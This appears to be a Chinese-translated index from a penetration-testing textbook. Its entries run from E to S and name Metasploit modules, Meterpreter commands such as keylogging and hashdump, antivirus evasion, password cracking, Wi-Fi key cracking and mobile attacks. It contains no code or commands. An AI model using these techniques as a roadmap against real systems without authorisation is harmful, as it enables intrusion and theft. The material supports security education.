/etc/proxychains.conf 配置文件，通过 Pivot 运行漏洞利用

Ettercap

安装，Ettercap

用于中间人攻击，SSL 基础

异常（参见结构化异常处理程序）

可执行文件

嵌入 PDF 中，利用 PDF 漏洞

使用 Hyperion 进行加密，自定义交叉编译

使用返回地址，从，劫持执行

执行（x）权限，文件权限

执行

作为目标进行劫持，在 GDB 中崩溃程序

Linux 中的劫持，控制 EIP

Windows 中的劫持，劫持执行

报告的执行摘要，后期利用

漏洞利用代码，代码库，使用 Metasploit 框架

利用命令（Metasploit），查找兼容的有效载荷

漏洞利用数据库，使用 Metasploit 框架，将公共漏洞利用移植到满足你的需求

Metasploit 的漏洞利用目标，RHOST

exploit/multi/browser/java_signed_applet 模块，Java 漏洞

漏洞利用，漏洞利用

第三方软件中的缓冲区溢出，利用第三方软件中的缓冲区溢出

使用客户端攻击，HTTP 和 HTTPS 有效载荷

被攻破服务的，利用第三方 Web 应用程序

使用 Java，嵌入 PDF 可执行文件

缓解技术，将我们的漏洞利用代码移植

MS08-067 漏洞，漏洞利用

开放的 NFS 共享，利用被攻破的服务

渗透测试阶段，渗透测试入门，前期准备

phpMyAdmin 的，利用开放的 phpMyAdmin

通过跳板进行运行，在 Metasploit 中添加路由

第三方 Web 应用程序的，利用第三方软件中的缓冲区溢出

WebDav 默认凭据，Meterpreter

Exploit::Remote::UDP 混合，编写 Metasploit 模块

漏洞利用

移植公共，将公共漏洞移植以满足您的需求

替换 shellcode，查找返回地址

运行，手动设置有效载荷

通过 SPF 代理运行，使用 Nmap 进行端口扫描

使用 SEH 覆盖，SEH 覆盖漏洞利用

编写，Linux 中的基于堆栈的缓冲区溢出

exploit/windows/fileformat/adobe_pdf_embedded_exe 模块，利用 PDF 漏洞

exploit/windows/fileformat/adobe_utilprintf 模块，利用 PDF 漏洞

exploit/windows/fileformat/winamp_maki_bof 模块，Winamp

exploit/windows/local/ms11_080_afdjoinleaf 模块，Windows 上的 getsystem

exploit/windows/smb/psexec 模块，检查 Bash 历史记录

exploit/windows/tftp/tftpd32_long_filename.rb 模块，编写 Metasploit 模块

外部渗透测试，渗透测试入门

Ez7z 程序，安装 VMware

F

Facebook，SSL 剥离

恢复出厂设置，客户端 Shell

假认证，使用 Aircrack-ng 破解 WEP 密钥

文件权限，向文件添加文本

漏洞文件名，随机字符，移植我们的漏洞代码

文件

添加文本，向文件添加文本

复制、移动和删除，切换用户并使用 sudo

创建，切换用户并使用 sudo

编辑，文件权限

搜索文本，使用 grep

将脚本结果发送到，简化结果

查看列表，安装 Nessus

FileZilla server.xml 配置文件，使用 TFTP 下载文件

FileZilla 服务，安装，XAMPP 1.7.2

过滤器，绕过 Metasploit 有效载荷，客户端漏洞利用

查找

内存中的攻击字符串，将控制权传递给 SEH

兼容的有效载荷，漏洞目标

返回地址，将公共漏洞移植以满足您的需求

有效用户名，查找有效用户名

防火墙、入侵检测和预防系统，使用 Nmap 进行端口扫描

文件夹，通过 FTP 共享，XAMPP 1.7.2

循环，Bash 脚本中的，使用 if 语句增加功能

格式，用于 Nmap 日志，使用 Nmap 进行端口扫描

四次握手，WPA2，四次握手

捕获，使用 Aircrack-ng 破解 WPA/WPA2 密钥

使用 Wireshark 查看，使用 Aircrack-ng 破解 WPA/WPA2 密钥

Android 应用框架，部署应用

FSTENV 指令，获取 Shell

FTP 账户，默认密码，破解配置文件密码

FTP 服务器

访问文件，运行单个 NSE 脚本

利用基于堆栈的缓冲区溢出，Windows 中的基于堆栈的缓冲区溢出

登录到，捕获流量，使用 Arpspoof 进行 ARP 缓存投毒

添加 FTP 用户，XAMPP 1.7.2

futuresoft_transfermode.rb 模块，编辑漏洞利用

模糊测试，模糊测试，移植漏洞利用和 Metasploit 模块

尝试崩溃，尝试崩溃

通过代码审查查找漏洞，模糊测试程序

用于简单的 FTP 服务器，模糊测试程序

G

GCC（GNU 编译器集合），编写和编译 C 程序，寻找漏洞，一个易受攻击的程序

gcc 命令，寻找漏洞

GDB（GNU 调试器），一个易受攻击的程序

崩溃程序，运行 GDB

运行，引发崩溃

查看源代码，运行 GDB

getsystem 命令（Meterpreter），Metasploit 后期利用模块

getuid 命令（Meterpreter），上传 Msfvenom 载荷，使用 upload 命令，Meterpreter 脚本

GNU 编译器集合（GCC），编写和编译 C 程序，寻找漏洞，一个易受攻击的程序

GNU 调试器（参见 GDB（GNU 调试器））

Google Play 应用的签名，给 APK 加后门

谷歌搜索，关于漏洞，导出 Nessus 结果

GoToMeeting，Java for，总结

grep 命令，使用 grep

过滤脚本输出，简化结果

可 grep 的 Nmap，使用 Nmap 进行端口扫描

组，权限，文件权限

组临时密钥（GTK），四次握手

H

处理程序，关闭，利用 PDF 漏洞

硬件对话框，在 Microsoft Windows 上使用 VMware Player

hashdump 命令（Meterpreter），离线密码攻击，从 Windows SAM 文件恢复密码哈希，Pass the Hash

哈希值

转换为纯文本，使用 Hydra 猜测用户名和密码

对于域用户，隐身模式

使用物理访问进行转储，从 Windows SAM 文件恢复密码哈希

示例，John the Ripper

LM 与 NTLM 算法，使用物理访问转储密码哈希

用于预完成的彩虹表，破解配置文件密码

从 Windows SAM 文件恢复，离线密码攻击

逆向，使用 Hydra 猜测用户名和密码，Pass the Hash

内存中的堆，内存理论

“Hello World” C 程序，编写和编译 C 程序

帮助

对于 Meterpreter 命令，Post Exploitation

对于 Msfcli，手动设置 Payload

对于 Msfconsole，启动 Metasploit

帮助上传命令（Meterpreter），使用 upload 命令

hook.js 脚本（BeEF），利用浏览器利用框架中的 XSS

主机工具用于 DNS 查询，Nslookup

主机专用网络，设置 Kali Linux，Nslookup

HTML，攻击邮件，群发邮件攻击

HTTP GET 请求，通过 Burp Proxy 捕获，使用 Burp Proxy

HTTP Payload，所有端口

使用 Java 漏洞进行漏洞利用

HTTPS，SSL 剥离

Payload，所有端口

集线器和流量捕获，捕获流量的网络配置

Hydra，使用 Hydra 猜测用户名和密码，使用 Hydra 猜测用户名和密码

Hyperion

使用自定义交叉编译加密可执行文件

安装，Hyperion，使用 Hyperion 加密可执行文件

I

Iceweasel 浏览器，代理配置，使用 Burp Proxy

ICMP（互联网控制消息协议）消息，Ping

if 语句

Bash，运行我们的脚本

C，编写和编译 C 程序

Python，连接到端口

ifconfig 命令，在 Mac OS 上使用 VMware Fusion，管理已安装的包，SMB 捕获

IIS（互联网信息服务），用户权限，命令执行

Immunity Debugger，在 War-FTP 中搜索已知漏洞

安装，Adobe Acrobat Reader

include 命令（C），编写和编译 C 程序

Incognito 工具，令牌冒充

来电连接，监听端口，检查端口是否在监听

信息命令（Metasploit），内置搜索

渗透测试的信息收集阶段，渗透测试入门，预 engagement，信息收集

本地，向 /tmp/run 文件添加代码

在移动设备上，后门 APK

开源情报（OSINT），信息收集

初始化向量 (IV)，有线等效隐私

通过 ARP 请求中继攻击生成，注入数据包

内联有效负载，Metasploit 有效负载

输入，> 符号用于重定向，向文件添加文本

输入函数（Python），Python 脚本编写

vi 的插入模式，使用 vi 编辑文件

已安装的软件包，管理，使用 awk 进行模式匹配

安装

3Com TFTP 2.0.1，SLMail 5.5

Adobe Acrobat Reader，Adobe Acrobat Reader

Android 模拟器，Ettercap

Apache，XAMPP 1.7.2

APKTool，后门 APK

调试器，Adobe Acrobat Reader

Ettercap，Ettercap

FileZilla 服务，XAMPP 1.7.2

Hyperion，Hyperion，使用 Hyperion 加密可执行文件

Immunity Debugger，Adobe Acrobat Reader

Java 7 更新 6，添加第二个网络接口

Microsoft 安全 Essentials，添加第二个网络接口

Ming C 编译器，安装 Nessus

Mona，设置 Ubuntu 8.10 目标

Mozilla Firefox，添加第二个网络接口

MySQL，XAMPP 1.7.2

Nessus，将虚拟机连接到网络

Python，Adobe Acrobat Reader

SLMail 5.5，SLMail 5.5

智能手机渗透框架 (SPF)，设置 Android 模拟器

Veil-Evasion，Hyperion

VMware，设置你的虚拟实验室

易受攻击的软件，让 XP 看起来像是 Windows 域的成员

War-FTP，Adobe Acrobat Reader

Winamp 版本 5.55，添加第二个网络接口

WinSCP, Adobe Acrobat Reader

XAMPP 1.7.2, 3Com TFTP 2.0.1

基于 Intel 的 CPU 寄存器, 内存理论

内部渗透测试, 渗透测试入门

Internet 访问, 测试 Kali Linux, 将虚拟机连接到网络

Internet 控制消息协议 (ICMP) 消息, Ping

Internet Explorer，漏洞, 浏览器利用

Internet 信息服务 (IIS), 用户权限, 命令执行

Internet Protocol (TCP/IP) 属性对话框, 设置静态 IP 地址

iOS，防止恶意代码的方式, 地址空间布局随机化

IP 地址, 管理已安装的软件包

DNS 映射到, DNS 缓存中毒

映射到 MAC 地址, ARP 缓存中毒

设置静态, 设置静态 IP 地址

验证, 在 Mac OS 上使用 VMware Fusion

IP 转发, ARP 基础

ipconfig 命令, 设置静态 IP 地址

输出来自, 命令执行

iPhone

默认 SSH 登录, 附加 SPF 服务器和应用

越狱, 客户端攻击, 地址空间布局随机化

在运行的应用程序上, 地址空间布局随机化

IV (初始化向量), 有线等效隐私

通过 ARP 请求中继攻击生成, 注入数据包

iwconfig 命令, 设置

iwlist wlan0 扫描命令, 扫描接入点

J

Java, 签名的小程序, Java 漏洞

Java 7 更新版 6，安装, 添加第二个网络接口

Java 小程序攻击方法, 设置监听器

Java 运行时环境 (JRE), PDF 嵌入的可执行文件

java/meterpreter/reverse_http 有效载荷, Java 漏洞

JMP ESP 指令, 劫持执行

在 USER32.dll 中找到, 将公共漏洞移植以满足需求

依赖位置, 栈溢出保护

John the Ripper 工具, John the Ripper, SMB 捕获

字典文件, 密码列表, 破解 Linux 密码

JRE (Java 运行时环境), PDF 嵌入的可执行文件

K

Kali Linux, 使用 Kali Linux

启动, 设置 Kali Linux

命令行, Linux 命令行

数据操作, 使用 vi 编辑文件

GUI，设置 Kali Linux

打开虚拟机，设置 Kali Linux

漏洞利用代码库，寻找漏洞

运行 Android 模拟器，设置 Android 模拟器

设置，安装 VMware

在，启动 Burp Suite，Web 应用程序测试

测试互联网连接，将虚拟机连接到网络

用户权限，了解命令：手册页

kaliinstall 脚本，智能手机渗透测试框架

keyscan_dump 命令（Meterpreter），键盘记录

keyscan_start 命令（Meterpreter），键盘记录

WEP 中的密钥调度算法，有线等效隐私

密钥空间暴力破解，密码字典

杀死命令（Metasploit），浏览器漏洞利用

Kismet，使用 Aircrack-ng 破解 WPA/WPA2 密钥

L

LAN 管理器（LM）密码哈希，物理访问下的密码哈希转储

LM 密码哈希的安全性问题

横向移动，检查 Bash 历史记录

Incognito 工具，令牌伪装

PSExec 技术，检查 Bash 历史记录

SMB 捕获，Incognito

SSH Exec，传递哈希

令牌伪装，SSHExec

LHOST，反向 Shell

设置，上传 Msfvenom 有效载荷

Msfvenom 中的设置，选择有效载荷

Windows 的许可密钥，安装和激活 Windows

Linksys WRT54G2，Web 界面，设置

Linux，使用 Kali Linux

（另见 Kali Linux，Ubuntu 8.10 目标机器）

向 /tmp/run 文件中添加代码，在目标上复制并编译漏洞利用代码

复制并编译漏洞利用，寻找漏洞

破解密码，破解 Linux 密码

文件系统，Linux 命令行

寻找漏洞，寻找漏洞

寻找漏洞，Linux 中的 Udev 权限提升

学习内核版本，Linux 中的 Udev 权限提升

堆栈溢出漏洞，Linux 中的堆栈溢出漏洞

udev 权限提升，Linux 中的 Udev 权限提升

VMware Player，用于，设置虚拟实验室

监听器

将命令 shell 推送回，打开命令行监听器

在 Kali Linux 上设置，在目标上复制并编译漏洞利用代码

list_tokens 命令（Meterpreter），Token 伪装

小端架构，字节序

LM (LAN 管理器) 密码哈希，通过物理访问导出密码哈希

不安全性，LM 密码哈希的问题

load 命令（Meterpreter），Token 伪装

本地文件包含，XPath 注入

本地信息收集，将代码添加到 /tmp/run 文件

本地特权提升，Metasploit 后利用模块

对于 Windows，Windows 上的 getsystem

本地安全权限子系统服务（LSASS）进程，使用 Windows 凭据编辑器从内存中导出明文密码

本地用户，列出所有，收集凭据

登录屏幕

对于 Kali Linux，设置 Kali Linux

web 应用程序中的 SQL 注入问题，使用 Burp Proxy

LPORT 选项，客户端攻击

ls 命令，安装 Nessus，Linux 命令行

手册页，更改目录

LSASS（本地安全权限子系统服务），使用 Windows 凭据编辑器从内存中导出明文密码

lsb_release 命令，Linux 上的 Udev 特权提升

M

MAC (媒体访问控制) 地址，将 IP 地址映射到，ARP 缓存中毒

通过接入点进行 MAC 地址过滤，破解密钥

Mac OS 和 VMware Fusion，安装 VMware，在 Mac OS 上使用 VMware Fusion，在 Microsoft Windows 上使用 VMware Player，在 Mac OS 上使用 VMware Fusion

邮件服务器

发送攻击邮件，单一或群发邮件

有效用户名，查找有效用户名

主函数，编写和编译 C 程序

恶意代码，要求用户允许，Java 漏洞

Maltego，搜索电子邮件地址

恶意软件，避免被检测的技术，绕过防病毒应用

中间人攻击，剖析数据包

用于 Ettercap，Ettercap，SSL 基础

man ls 命令，更改目录

手册页，更改目录

强制代码签名，客户端攻击，地址空间布局随机化

手动端口扫描，端口扫描

将 IP 地址映射到 MAC 地址，ARP 缓存中毒

群发邮件攻击，群发邮件攻击

MD5 碰撞攻击，Msfvenom

MD5 哈希

暴力破解，破解 Linux 密码

使用，Msfvenom 检查木马

md5sum 程序，Msfvenom

MDM（移动设备管理），远程控制

媒体访问控制（MAC）地址，映射 IP 地址至，ARP 缓存中毒

内存

内容显示选项，运行 GDB

在内存中查找攻击字符串，传递控制到 SEH

理论，内存理论

内存地址，字节顺序，劫持执行

消息完整性码（MIC），四路握手

Metasm 工具，获取 Shell

Metasploit

添加路由，Pivoting

辅助模块和利用数据库，模块数据库

利用检查功能，Metasploit 扫描器模块

结束后台作业，浏览器利用

模块，启动 Metasploit

模块，Meterpreter 脚本

（另见具体模块）

高级参数，浏览器利用

辅助，使用 Multi/Handler 模块

数据库，查找 Metasploit 模块

查找，查找 Metasploit 模块

MS08-067，查找 Metasploit 模块

后期利用，Meterpreter 脚本

扫描器，运行单个 NSE 脚本

设置选项，内置搜索

验证格式规范，移植我们的 Exploit 代码

编写，编辑 Exploit

Msfconsole 用于，启动 Metasploit

有效载荷，利用目标

绕过过滤器，客户端利用

端口扫描器，在 Metasploit 中添加路由

搜索功能，模块数据库

启动，使用 Metasploit 框架

对编码器的支持，VirusTotal

测试运行，查找兼容的有效载荷

更新，使用辅助模块

Metasploit 浏览器利用方法，设置监听器

Meterpreter，Metasploit 有效载荷

命令帮助，后期利用

键盘记录器，键盘记录

后期利用，后期利用

脚本，其他 Meterpreter 命令

使用，添加代码到 /tmp/run 文件搜索文件

会话，测试运行

维护，浏览器利用

将其放置在后台，Metasploit 持久化

在中运行脚本，浏览器利用

用于退出的 shell 命令，Linux 上的 Udev 特权提升

上传命令，使用上传命令

MIC（消息完整性码），四次握手

Michael，MAC 算法，破解密钥

Microsoft Security Essentials，防病毒应用如何工作

安装，添加第二个网络接口

恶意软件的未检测到，使用 Hyperion 加密可执行文件

Microsoft Windows（见 Windows）

Ming C 编译器，安装，安装 Nessus

Mingw32 交叉编译器，自定义交叉编译

Mitnick，凯文，社会工程学

mkdir 命令，切换用户并使用 sudo，通过物理访问转储密码哈希

移动浏览器，打开链接的攻击，客户端 Shell

移动设备管理（MDM），远程控制

移动黑客，使用智能手机 Pentest 框架

客户端攻击，默认 iPhone SSH 登录

恶意应用，USSD 远程控制

近场通信（NFC），使用智能手机 Pentest 框架

通过设备进行枢轴，远程控制

使用 Nmap 进行端口扫描，使用 Nmap 进行端口扫描

特权提升，在本地网络上利用系统

远程攻击，连接 SPF 服务器和应用

远程控制，信息收集

通过短信，使用智能手机 Pentest 框架

Mobile Safari，客户端攻击

TFTP 中的 Mode 字段，模糊测试一个简单的 FTP 服务器

模块（见 Metasploit: 模块）

Mona

查找模式偏移，生成循环模式以确定偏移

在中生成循环模式，生成循环模式以确定偏移，SEH 覆盖漏洞

安装，设置 Ubuntu 8.10 目标

在中运行 SEH 命令，SafeSEH

!mona findmsp 命令（Immunity Debugger），输出，劫持执行

mona pattern_create 命令（Immunity Debugger），SEH 覆盖漏洞

mona.py 文件，下载，Adobe Acrobat Reader

移动文件，切换用户并使用 sudo

Mozilla Firefox，安装，添加第二个网络接口

MS08-067 漏洞，漏洞利用

Msfcli（命令行界面），启动 Metasploit，手动设置有效载荷

显示选项，手动设置有效载荷

SPF 接口，附加 SPF 服务器和应用

Msfconsole，启动 Metasploit

捕获有效载荷的处理程序，上传 Msfvenom 有效载荷

帮助命令，启动 Metasploit

设置处理程序，利用本地网络上的系统

Msftidy 工具，移植我们的漏洞利用代码

msfupdate 命令，使用辅助模块，高级参数，移植我们的漏洞利用代码

Msfvenom，特洛伊木马

使用创建独立有效载荷，有效载荷

编码器，编码

生成 shellcode，使用 Veil-Evasion 创建加密的 Python 生成的可执行文件，获取 Shell，移植公共漏洞利用以满足需求

使用多重编码，编码

输出格式，选择有效载荷

用于检测签名的预构建模板，编码

提供有效载荷，选择输出格式，利用 WebDAV 默认凭证

multi/handler 模块，选择输出格式，利用 PDF 漏洞，利用本地网络上的系统

multi/ssh/sshexec 模块，传递哈希

多角度攻击，多角度攻击

mv 命令，切换用户并使用 sudo

MySQL

数据库，用于 SPF，近场通信

安装，XAMPP 1.7.2

服务器，特权，利用 Open phpMyAdmin

N

nano（文件编辑器），文件权限

NAT（网络地址转换），设置 Kali Linux

美国国家标准与技术研究院（NIST），关于 Nessus 排名的说明

近场通信（NFC），使用智能手机渗透测试框架

负面反馈，SSL 剥离

Nessus（Tenable 安全），从 Nmap 版本扫描到潜在漏洞

凭证，Nessus 策略

漏洞的详细信息，使用 Nessus 扫描

导出结果，关于 Nessus 排名的说明

安装，将虚拟机连接到网络

登录界面，安装 Nessus，Nessus 策略

政策标签，从 Nmap 版本扫描到潜在的漏洞

排名，使用 Nessus 进行扫描

使用进行扫描，使用 Nessus 进行扫描

启动，安装 Nessus

net 命令（Windows），收集凭证

net localgroup 命令（Windows），net 命令，持久化

net use 命令（Windows），SMB 捕获

net user 命令（Windows），持久化

net users 命令（Windows），收集凭证

Netcat 工具

检查是否有监听端口，检查端口是否在监听

连接到端口，探索一个奇怪的端口

用于文件传输，将命令 Shell 推送回监听器

用于 SMTP 端口连接，端口扫描

用于 TCP/IP 连接，设置静态 IP 地址

Netcraft，信息收集

netstat 命令，设置静态 IP 地址

网络

用于捕获流量，捕获流量的网络配置

连接虚拟机到，在 Mac OS 上使用 VMware Fusion

管理，管理已安装的包

查看连接，设置静态 IP 地址

网络适配器

更改设置，在 Microsoft Windows 上使用 VMware Player

配置 Windows XP，在 Microsoft Windows 上使用 VMware Player

网络地址转换（NAT），设置 Kali Linux

网络文件系统（NFS），Nmap 脚本引擎

利用开放共享，利用被攻破的服务

网络接口，管理已安装的包

添加第二个，添加第二个网络接口

网络掩码，管理网络

NFC（近场通信），使用智能手机渗透测试框架

NFS（网络文件系统），Nmap 脚本引擎

利用开放共享，利用被攻破的服务

Nikto，Web 应用扫描

NIST（美国国家标准与技术研究院），关于 Nessus 排名的说明

Nmap 端口扫描，使用 Nmap 进行端口扫描

用于移动设备，使用 Nmap 进行端口扫描

通过 ProxyChains 运行，Socks4a 和 ProxyChains

扫描特定端口，UDP 扫描

SYN 扫描，使用 Nmap 进行端口扫描

UDP 扫描，版本扫描

版本扫描，SYN 扫描

Nmap 脚本引擎（NSE），导出 Nessus 结果

默认脚本输出，Nmap 脚本引擎

运行单个脚本，Nmap 脚本引擎

保密协议，预接触

NOP 滑道，将公共漏洞移植到满足您的需求

NSE（见 Nmap 脚本引擎（NSE））

nslookup，Whois 查询，DNS 缓存投毒

NT LAN Manager（NTLM）哈希，密码哈希，通过物理访问提取密码哈希

使用 John the Ripper 进行破解，John the Ripper

O

偏移量

生成循环模式来确定，生成循环模式以确定偏移量

验证，生成循环模式以确定偏移量，劫持执行

TFTP 中的操作码字段，模糊测试一个简单的 FTP 服务器

开放中继，设置目标

开源情报（OSINT），预接触

DNS 侦察，Whois 查询

Maltego，搜索电子邮件地址

Netcraft，信息收集

端口扫描，Maltego

搜索电子邮件地址，区域传输

Whois 查询，Whois 查询

开源漏洞数据库（OSVDB），Web 应用程序扫描

开放 Web 应用程序安全项目（OWASP），利用 XSS 与浏览器漏洞框架

开放无线网络，捕获数据包

OSINT（见开源情报）

OSVDB（开源漏洞数据库），Web 应用程序扫描

Msfvenom 的输出格式，选择有效载荷

overflowtest.c 文件中的函数，控制 EIP

OWASP（开放 Web 应用程序安全项目），利用 XSS 与浏览器漏洞框架

文件所有者及其权限，文件权限

P

打包方法（Ruby），编写 Metasploit 模块

安装包管理，使用 awk 进行模式匹配

Packet Storm 安全，使用 Metasploit 框架

配对主密钥（PMK），在 WPA/WPA2 中，四路握手

配对瞬时密钥（PTK），四路握手

传递哈希技术，传递哈希

密码短语，用于 WPA 或 WPA2，四路握手

密码攻击，密码攻击

离线，使用 Hydra 猜测用户名和密码

在线，密码管理

密码哈希

转换为明文，使用 Hydra 猜测用户名和密码

针对域用户，隐身

通过物理访问导出，从 Windows SAM 文件恢复密码哈希

示例， John the Ripper

LM 与 NTLM 算法，通过物理访问导出密码哈希

从 Windows SAM 文件恢复，离线密码攻击

反向工程，使用 Hydra 猜测用户名和密码, 传递哈希

密码

使用 John the Ripper 进行破解， John the Ripper

破解 Linux，破解 Linux 密码

默认的 SSH root，连接 SPF 服务器和应用

使用 WCE 导出明文，破解配置文件密码

使用 Hydra 进行猜测，使用 Hydra 猜测用户名和密码

列表，单词列表

管理，密码攻击

用于 Nessus，安装 Nessus

在线破解服务，破解配置文件密码

恢复 MD5 哈希，使用 TFTP 下载文件

保存，收集凭证

在 Windows 7 目标机器上的设置，选择退出自动更新

在 Windows XP 中的设置，关闭 Windows 防火墙

强密码，密码管理

系统哈希，利用已被妥协的服务

在多个系统上使用相同密码，检查 Bash 历史记录

PATH 环境变量，运行我们的脚本

使用 awk 进行模式匹配，使用 awk 进行模式匹配

暂停的进程， Immunity 调试器和，在 War-FTP 中搜索已知漏洞

有效载荷，利用

避免特殊字符，获取 Shell

使用 Msfvenom 创建独立文件，有效载荷

处理程序，利用 PDF 漏洞

在 Msfvenom 中列出，选择有效载荷

在 Msfcli 中，显示选项

提供，选择输出格式

手动设置，反向 Shell

对结构化异常处理程序的覆盖，选择有效载荷

付款条款，前期接触

PBKDF2 哈希算法，四次握手

PDF（便携式文档格式）软件，利用，高级参数

渗透测试

基础，渗透测试入门

数据，跟踪，使用 Nmap 进行端口扫描

阶段，渗透测试入门

渗透测试执行标准（PTES），渗透测试入门

Perl 脚本语言

创建参数字符串，劫持执行

通过生成字符串，运行 GDB

持久化，持久化

持久化脚本（Meterpreter），Metasploit 持久化

在 WPA/WPA2 中的个人连接过程，WPA2

钓鱼攻击，社会工程学

通过电子邮件，自动化，大规模电子邮件攻击

phpMyAdmin，Web 应用扫描

利用，利用开放的 phpMyAdmin

Ping 命令，将虚拟机连接到网络，设置静态 IP 地址

限制次数，使用 if 语句添加功能

停止，设置静态 IP 地址

Ping 扫描，脚本，Ping

管道符号（|），使用 grep

支点，SMB 捕获

通过移动设备，远程控制

Socks4a 和 ProxyChains，通过支点运行 Exploit

明文

转换哈希值，使用 Hydra 猜测用户名和密码

凭证，SSL 剥离

使用 Windows 凭证编辑器导出密码，破解配置文件密码

WPA/WPA2 中的 PMK（成对主密钥），四次握手

POP 指令，内存理论，在内存中查找攻击字符串

依赖位置，堆栈 Cookie

端口 4444，测试运行

端口扫描，Maltego

手册，端口扫描

在 Metasploit 中，在 Metasploit 中添加路由

使用 Nmap，使用 Nmap 进行端口扫描，使用 Nmap 进行端口扫描

使用 Python 脚本，Python 脚本编写

便携式文档格式（PDF）软件，利用，高级参数

移植公共漏洞，将公共漏洞移植以满足您的需求

端口，设置静态 IP 地址，RHOST

默认，简单邮件传输协议（SMTP），端口扫描

探索，默认凭证

使用 Netcat 连接，探索一个陌生端口

Nmap 端口扫描特定，UDP 扫描

渗透测试的后期阶段，渗透测试基础，前期阶段，后利用

收集凭据，键盘记录

键盘记录，键盘记录

横向移动，检查 Bash 历史

本地信息收集，将代码添加到 /tmp/run 文件

本地特权升级，Metasploit 后利用模块

Metasploit 模块，Meterpreter 脚本

Meterpreter 用于，后利用

移动，后门 APK

模块，Meterpreter 脚本

持久化，持久化

枢纽移动，SMB 捕获

PostgreSQL 数据库，使用 Metasploit 框架

post/windows/gather/enum_logged_on_users 模块，Metasploit 后利用模块

post/windows/gather/hashdump 模块，传递哈希

Powershell，在 Windows 7 中，命令执行

渗透测试的前期阶段，渗透测试基础

打印命令

Perl，运行 GDB

Python，连接到端口

printf 函数，编写和编译 C 程序

私有 SSH 密钥，利用已被攻破的服务

移动设备中的特权升级，在本地网络上利用系统

运行特权命令，添加用户

PRNG（伪随机数生成器），自定义交叉编译，无线等效隐私

进程，管理已安装的软件包

Immunity 调试器和暂停，搜索 War-FTP 中的已知漏洞

编程，编程

（另见 Bash 脚本；Python）

中断点，运行 GDB

C 程序，编写和编译 C 程序

Ruby，用于 Metasploit 模块，编辑漏洞利用

专有数据丢失，渗透测试基础

协议分析仪，捕获流量的网络

（另见 Wireshark）

ProxyChains，通过枢纽运行漏洞利用

ps aux 命令，复制并编译目标上的漏洞利用

ps 命令（Meterpreter），管理已安装的软件包，net 命令

PSExec 技巧，检查 Bash 历史，传递哈希

伪随机数生成器（PRNG），自定义交叉编译，无线等效隐私

PTES（渗透测试执行标准），渗透测试入门

PTK（成对临时密钥），四次握手

公共漏洞

移植，移植公共漏洞以满足您的需求

使用的风险，导出 Nessus 结果

公共 SSH 密钥，利用被破坏的服务

发布者，受信任与未知，签名的 Java 小程序

PUSH ESP 指令，劫持执行

PUSH 指令，内存理论，在内存中查找攻击字符串

pwd 命令，Linux 命令行

Python，简化结果

连接到端口，连接到端口

Ctypes 库，使用 Windows API 的 Python Shellcode 注入

if 语句，连接到端口

安装，Adobe Acrobat Reader

移植漏洞，移植我们的漏洞代码

变量，Python 脚本编写

VirtualAlloc 注入，使用 Windows API 的 Python Shellcode 注入

Python 生成的可执行文件，使用 Veil-Evasion 加密，使用 Hyperion 加密可执行文件

Q

QR（快速响应）码，近场通信

查询，Wireshark 捕获，使用 ARP 缓存中毒伪装默认网关

R

RADIUS（远程身份验证拨号用户服务）服务器，WPA2

Radmin Viewer 程序，木马和，Msfvenom

radmin.exe 二进制文件，嵌入有效载荷，Msfvenom

Railgun，Metasploit 后渗透模块

彩虹表，破解配置文件密码

随机变量，自定义交叉编译

randomize_va_space，内存理论

rand_text_english 函数（Metasploit），编写 Metasploit 模块，移植我们的漏洞代码

Rapid7，使用 Metasploit 框架

raw_input 函数（Python），Python 脚本编写

RC4（Rivest 加密 4）流密码，捕获数据包

Rcrack 工具，破解配置文件密码

读取（r）权限，文件权限

准备创建虚拟机对话框，在 Microsoft Windows 上使用 VMware Player

重定向输入，使用 > 符号，向文件添加文本

反射型 DLL 注入，Metasploit 有效载荷

反射型 XSS 攻击，命令执行

检查漏洞，检查反射型 XSS 漏洞

寄存器

在基于 Intel 的 CPU 中，内存理论

跳转到，劫持执行

相对路径，Linux 命令行

远程攻击，附加 SPF 服务器和应用程序

远程认证拨号用户服务（RADIUS）服务器，WPA2

远程控制

移动设备，信息收集

USSD，客户端 Shell

远程文件包含，用于 Web 应用程序测试，本地文件包含

远程系统

登录到，通过哈希传递

ping，Ping

删除文件，切换用户并使用 sudo

渗透测试的报告阶段，渗透测试入门，后期利用

研究漏洞，导出 Nessus 结果

资源耗尽攻击，利用局域网中的系统

RET 指令，在内存中查找攻击字符串

依赖位置，栈 Cookies

返回地址，内存理论

查找，将公共漏洞移植到满足您的需求

使用可执行模块，劫持执行

返回语句（C），编写和编译 C 程序

面向返回的编程（ROP），地址空间布局随机化

rev2self 命令（Meterpreter），在 Windows 上使用 getsystem

反向 shell，打开命令行监听器，测试运行，利用

reverse_https_proxy 负载（Meterpreter），HTTP 和 HTTPS 负载

RHOST 选项，针对 Metasploit 模块，内建搜索

风险概况，后期利用

公共漏洞代码的风险，使用 Metasploit 框架

Rivest Cipher 4 (RC4) 流密码，捕获数据包

rm 文件命令，切换用户并使用 sudo

rockyou.txt.gz 文件，密码列表

root 权限，Linux 命令行，利用被破坏的服务，Linux 上的 Udev 权限提升

root@kali# 提示符，Linux 命令行

ROP（面向返回的编程），地址空间布局随机化

路由命令（Metasploit），管理网络，跳板攻击

路由器，用于无线流量，无线攻击

RPORT 选项，针对 Metasploit 模块，RHOST

RtlMovememory API，使用 Windows API 的 Python Shellcode 注入

Ruby，用于 Metasploit 模块，编辑漏洞利用

运行 migrate 命令（Meterpreter），其他 Meterpreter 命令

查看运行中的进程，管理已安装的包

S

SafeSEH，POP POP RET

SAM（安全帐户管理）文件

下载，下载配置文件

从 Web 应用中恢复密码哈希值，离线密码攻击

Samdump2，从 Windows SAM 文件恢复密码哈希值

保存

密码，收集凭证

向文件添加文本，向文件添加文本

SCADA 系统，扫描特定端口

扫描器/端口扫描/TCP 模块，在 Metasploit 中添加路由

扫描

合法性，端口扫描

使用 w3af，利用浏览器漏洞利用框架进行 XSS 攻击

Web 应用，Metasploit 漏洞检查功能

渗透测试的范围，前期准备

脚本，编程

（另见 Bash 脚本；Python）

自动运行，将命令 Shell 推送回监听器

在 Meterpreter 中运行，浏览器漏洞利用

在目标 Web 服务器上运行，利用 WebDAV 默认凭证

search 命令（Meterpreter），将代码添加到/tmp/run 文件

搜索

Metasploit 辅助模块和漏洞数据库，模块数据库

文本，编辑文件

searchsploit 工具，查找漏洞

安全套接字层（SSL）攻击，SSL 攻击

剥离攻击，SSL 剥离

安全帐户管理文件（见 SAM（安全帐户管理）文件）

安全更新，关闭自动更新，安装和激活 Windows

SecurityFocus.com，使用 Metasploit 框架，Windows 中的栈溢出漏洞，将公共漏洞移植到满足你需求的版本

sed 命令，使用 grep

